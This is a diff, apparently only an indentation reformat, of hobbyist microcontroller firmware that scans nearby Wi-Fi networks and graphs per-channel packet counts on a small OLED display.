| 87 | − | sprintf(line1, "Ch:%d", sniffer.currentChannel); | |
| 88 | − | sprintf(line2, "Pkts:%d", pktCount * 5); | |
| 88 | + | sprintf(line1, "Ch:%d", sniffer.currentChannel); | |
| 89 | + | sprintf(line2, "Pkts:%d", pktCount * 5); | |
| 89 | 90 | ||
| 90 | − | u8g2.drawStr(0, 8, line1); | |
| 91 | − | u8g2.drawStr(60, 8, line2); | |
| 91 | + | u8g2.drawStr(0, 8, line1); | |
| 92 | + | u8g2.drawStr(60, 8, line2); | |
| 92 | 93 | ||
| 93 | − | for (int x = 1; x < GRAPH_WIDTH; x++) { | |
| 94 | − | int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; | |
| 95 | − | int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; | |
| 94 | + | for (int x = 1; x < GRAPH_WIDTH; x++) { | |
| 95 | + | int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; | |
| 96 | + | int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; | |
| 96 | 97 | ||
| 97 | − | u8g2.drawLine(x - 1, y1, x, y2); | |
| 98 | − | } | |
| 98 | + | u8g2.drawLine(x - 1, y1, x, y2); | |
| 99 | + | } | |
| 99 | 100 | ||
| 100 | − | if (pktCount >= SPIKE_THRESHOLD) { | |
| 101 | − | u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); | |
| 102 | − | } | |
| 101 | + | if (pktCount >= SPIKE_THRESHOLD) { | |
| 102 | + | u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); | |
| 103 | + | } | |
| 103 | 104 | ||
| 104 | − | u8g2.sendBuffer(); | |
| 105 | + | u8g2.sendBuffer(); | |
| 105 | 106 | } | |
| 106 | 107 | ||
| 107 | 108 | // ===== LOOP ===== | |
| 108 | 109 | void wifi_analyzer_loop() { | |
| 109 | − | static uint32_t lastPress = 0; | |
| 110 | − | unsigned long now = millis(); | |
| 110 | + | static uint32_t lastPress = 0; | |
| 111 | + | unsigned long now = millis(); | |
| 111 | 112 | ||
| 112 | − | // channel hopping | |
| 113 | − | if (now - sniffer.lastChannelSwitch >= 1000) { | |
| 114 | − | sniffer.lastChannelSwitch = now; | |
| 115 | − | switchChannel(); | |
| 116 | − | } | |
| 113 | + | // channel hopping | |
| 114 | + | if (now - sniffer.lastChannelSwitch >= 1000) { | |
| 115 | + | sniffer.lastChannelSwitch = now; | |
| 116 | + | switchChannel(); | |
| 117 | + | } | |
| 117 | 118 | ||
| 118 | − | // graph update | |
| 119 | − | if (now - sniffer.lastUpdate >= 200) { | |
| 120 | − | sniffer.lastUpdate = now; | |
| 119 | + | // graph update | |
| 120 | + | if (now - sniffer.lastUpdate >= 200) { | |
| 121 | + | sniffer.lastUpdate = now; | |
| 121 | 122 | ||
| 122 | − | uint16_t pktCount = sniffer.packetCounter; | |
| 123 | + | uint16_t pktCount = sniffer.packetCounter; | |
| 123 | 124 | ||
| 124 | − | uint8_t scaled = pktCount * 2; | |
| 125 | − | uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); | |
| 125 | + | uint8_t scaled = pktCount * 2; | |
| 126 | + | uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); | |
| 126 | 127 | ||
| 127 | − | updateGraph(value); | |
| 128 | − | drawGraph(pktCount); | |
| 128 | + | updateGraph(value); | |
| 129 | + | drawGraph(pktCount); | |
| 129 | 130 | ||
| 130 | − | sniffer.packetCounter = 0; | |
| 131 | − | } | |
| 131 | + | sniffer.packetCounter = 0; | |
| 132 | + | } | |
| 132 | 133 | ||
| 133 | − | // optional: small debounce to not hammer CPU | |
| 134 | − | if (millis() - lastPress < 10) | |
| 135 | − | return; | |
| 134 | + | // optional: small debounce to not hammer CPU | |
| 135 | + | if (millis() - lastPress < 10) | |
| 136 | + | return; | |
| 136 | 137 | } | |
| @@ -6,10 +6,10 @@ | |||
| 6 | 6 | #define MAX_NETWORKS 30 | |
| 7 | 7 | ||
| 8 | 8 | struct WiFiNet { | |
| 9 | − | String ssid; | |
| 10 | − | int rssi; | |
| 11 | − | int channel; | |
| 12 | − | bool encrypted; | |
| 9 | + | String ssid; | |
| 10 | + | int rssi; | |
| 11 | + | int channel; | |
| 12 | + | bool encrypted; | |
| 13 | 13 | }; | |
| 14 | 14 | ||
| 15 | 15 | static WiFiNet networks[MAX_NETWORKS]; | |
| @@ -18,122 +18,122 @@ static int selectedIndex = 0; | |||
| 18 | 18 | ||
| 19 | 19 | // ===== SCAN ===== | |
| 20 | 20 | void wifi_scan_start() { | |
| 21 | − | u8g2.clearBuffer(); | |
| 22 | − | u8g2.drawStr(10, 30, "Scanning WiFi..."); | |
| 23 | − | u8g2.sendBuffer(); | |
| 21 | + | u8g2.clearBuffer(); | |
| 22 | + | u8g2.drawStr(10, 30, "Scanning WiFi..."); | |
| 23 | + | u8g2.sendBuffer(); | |
| 24 | 24 | ||
| 25 | − | WiFi.mode(WIFI_STA); | |
| 26 | − | WiFi.disconnect(); | |
| 25 | + | WiFi.mode(WIFI_STA); | |
| 26 | + | WiFi.disconnect(); | |
| 27 | 27 | ||
| 28 | − | delay(100); | |
| 28 | + | delay(100); | |
| 29 | 29 | ||
| 30 | − | int n = WiFi.scanNetworks(); | |
| 30 | + | int n = WiFi.scanNetworks(); | |
| 31 | 31 | ||
| 32 | − | networkCount = min(n, MAX_NETWORKS); | |
| 32 | + | networkCount = min(n, MAX_NETWORKS); | |
| 33 | 33 | ||
| 34 | − | for (int i = 0; i < networkCount; i++) { | |
| 35 | − | networks[i].ssid = WiFi.SSID(i); | |
| 36 | − | networks[i].rssi = WiFi.RSSI(i); | |
| 37 | − | networks[i].channel = WiFi.channel(i); | |
| 38 | − | networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); | |
| 39 | − | } | |
| 34 | + | for (int i = 0; i < networkCount; i++) { | |
| 35 | + | networks[i].ssid = WiFi.SSID(i); | |
| 36 | + | networks[i].rssi = WiFi.RSSI(i); | |
| 37 | + | networks[i].channel = WiFi.channel(i); | |
| 38 | + | networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); | |
| 39 | + | } | |
| 40 | 40 | ||
| 41 | − | selectedIndex = 0; | |
| 41 | + | selectedIndex = 0; | |
| 42 | 42 | } | |
| 43 | 43 | ||
| 44 | 44 | // ===== DRAW ===== | |
| 45 | 45 | void wifi_scan_draw() { | |
| 46 | − | u8g2.clearBuffer(); | |
| 47 | − | ||
| 48 | − | if (networkCount == 0) { | |
| 49 | − | u8g2.drawStr(0, 30, "No networks"); | |
| 50 | − | u8g2.drawStr(0, 45, "Press BACK"); | |
| 51 | − | } else { | |
| 52 | − | char counter[20]; | |
| 53 | − | sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); | |
| 54 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 55 | − | u8g2.drawStr(0, 8, counter); | |
| 46 | + | u8g2.clearBuffer(); | |
| 47 | + | ||
| 48 | + | if (networkCount == 0) { | |
| 49 | + | u8g2.drawStr(0, 30, "No networks"); | |
| 50 | + | u8g2.drawStr(0, 45, "Press BACK"); | |
| 51 | + | } else { | |
| 52 | + | char counter[20]; | |
| 53 | + | sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); | |
| 54 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 55 | + | u8g2.drawStr(0, 8, counter); | |
| 56 | 56 | ||
| 57 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 57 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 58 | 58 | ||
| 59 | − | for (int i = 0; i < 3; i++) { | |
| 60 | − | int idx = selectedIndex + i; | |
| 61 | − | if (idx >= networkCount) | |
| 62 | − | break; | |
| 59 | + | for (int i = 0; i < 3; i++) { | |
| 60 | + | int idx = selectedIndex + i; | |
| 61 | + | if (idx >= networkCount) | |
| 62 | + | break; | |
| 63 | 63 | ||
| 64 | − | int y = 22 + i * 14; | |
| 64 | + | int y = 22 + i * 14; | |
| 65 | 65 | ||
| 66 | − | if (i == 0) { | |
| 67 | − | u8g2.drawBox(0, y - 10, 128, 12); | |
| 68 | − | u8g2.setDrawColor(0); | |
| 69 | − | } | |
| 66 | + | if (i == 0) { | |
| 67 | + | u8g2.drawBox(0, y - 10, 128, 12); | |
| 68 | + | u8g2.setDrawColor(0); | |
| 69 | + | } | |
| 70 | 70 | ||
| 71 | − | String text = networks[idx].ssid; | |
| 72 | − | if (text.length() > 10) | |
| 73 | − | text = text.substring(0, 10) + ".."; | |
| 71 | + | String text = networks[idx].ssid; | |
| 72 | + | if (text.length() > 10) | |
| 73 | + | text = text.substring(0, 10) + ".."; | |
| 74 | 74 | ||
| 75 | − | text += " (" + String(networks[idx].rssi) + ")"; | |
| 75 | + | text += " (" + String(networks[idx].rssi) + ")"; | |
| 76 | 76 | ||
| 77 | − | u8g2.drawStr(2, y, text.c_str()); | |
| 77 | + | u8g2.drawStr(2, y, text.c_str()); | |
| 78 | 78 | ||
| 79 | − | if (i == 0) | |
| 80 | − | u8g2.setDrawColor(1); | |
| 79 | + | if (i == 0) | |
| 80 | + | u8g2.setDrawColor(1); | |
| 81 | + | } | |
| 81 | 82 | } | |
| 82 | − | } | |
| 83 | 83 | ||
| 84 | − | u8g2.sendBuffer(); | |
| 84 | + | u8g2.sendBuffer(); | |
| 85 | 85 | } | |
| 86 | 86 | ||
| 87 | 87 | // ===== DETAILS ===== | |
| 88 | 88 | void wifi_drawDetails() { | |
| 89 | − | if (networkCount == 0) | |
| 90 | − | return; | |
| 89 | + | if (networkCount == 0) | |
| 90 | + | return; | |
| 91 | 91 | ||
| 92 | − | WiFiNet &net = networks[selectedIndex]; | |
| 92 | + | WiFiNet &net = networks[selectedIndex]; | |
| 93 | 93 | ||
| 94 | − | u8g2.clearBuffer(); | |
| 95 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 94 | + | u8g2.clearBuffer(); | |
| 95 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 96 | 96 | ||
| 97 | − | u8g2.drawStr(0, 10, net.ssid.c_str()); | |
| 97 | + | u8g2.drawStr(0, 10, net.ssid.c_str()); | |
| 98 | 98 | ||
| 99 | − | char rssi[20]; | |
| 100 | − | sprintf(rssi, "RSSI: %d", net.rssi); | |
| 101 | − | u8g2.drawStr(0, 20, rssi); | |
| 99 | + | char rssi[20]; | |
| 100 | + | sprintf(rssi, "RSSI: %d", net.rssi); | |
| 101 | + | u8g2.drawStr(0, 20, rssi); | |
| 102 | 102 | ||
| 103 | − | char ch[20]; | |
| 104 | − | sprintf(ch, "CH: %d", net.channel); | |
| 105 | − | u8g2.drawStr(0, 30, ch); | |
| 103 | + | char ch[20]; | |
| 104 | + | sprintf(ch, "CH: %d", net.channel); | |
| 105 | + | u8g2.drawStr(0, 30, ch); | |
| 106 | 106 | ||
| 107 | − | u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); | |
| 107 | + | u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); | |
| 108 | 108 | ||
| 109 | − | u8g2.sendBuffer(); | |
| 109 | + | u8g2.sendBuffer(); | |
| 110 | 110 | } | |
| 111 | 111 | ||
| 112 | 112 | // ===== LOOP ===== | |
| 113 | 113 | void wifi_scan_loop() { | |
| 114 | − | static uint32_t lastPress = 0; | |
| 115 | − | ||
| 116 | − | if (millis() - lastPress < 150) | |
| 117 | − | return; | |
| 118 | − | ||
| 119 | − | if (btnDown() && selectedIndex < networkCount - 1) { | |
| 120 | − | selectedIndex++; | |
| 121 | − | wifi_scan_draw(); | |
| 122 | − | lastPress = millis(); | |
| 123 | − | } else if (btnUp() && selectedIndex > 0) { | |
| 124 | − | selectedIndex--; | |
| 125 | − | wifi_scan_draw(); | |
| 126 | − | lastPress = millis(); | |
| 127 | − | } else if (btnSelect() && networkCount > 0) { | |
| 128 | − | wifi_drawDetails(); | |
| 129 | − | delay(3000); | |
| 130 | − | wifi_scan_draw(); | |
| 131 | − | lastPress = millis(); | |
| 132 | − | } | |
| 133 | − | // else if (btnBack()) | |
| 134 | − | // { | |
| 135 | − | // wifi_scan_start(); | |
| 136 | − | // wifi_scan_draw(); | |
| 137 | − | // lastPress = millis(); | |
| 138 | − | // } | |
| 114 | + | static uint32_t lastPress = 0; | |
| 115 | + | ||
| 116 | + | if (millis() - lastPress < 150) | |
| 117 | + | return; | |
| 118 | + | ||
| 119 | + | if (btnDown() && selectedIndex < networkCount - 1) { | |
| 120 | + | selectedIndex++; | |
| 121 | + | wifi_scan_draw(); | |
| 122 | + | lastPress = millis(); | |
| 123 | + | } else if (btnUp() && selectedIndex > 0) { | |
| 124 | + | selectedIndex--; | |
| 125 | + | wifi_scan_draw(); | |
| 126 | + | lastPress = millis(); | |
| 127 | + | } else if (btnSelect() && networkCount > 0) { | |
| 128 | + | wifi_drawDetails(); | |
| 129 | + | delay(3000); | |
| 130 | + | wifi_scan_draw(); | |
| 131 | + | lastPress = millis(); | |
| 132 | + | } | |
| 133 | + | // else if (btnBack()) | |
| 134 | + | // { | |
| 135 | + | // wifi_scan_start(); | |
| 136 | + | // wifi_scan_draw(); | |
| 137 | + | // lastPress = millis(); | |
| 138 | + | // } | |
| 139 | 139 | } | |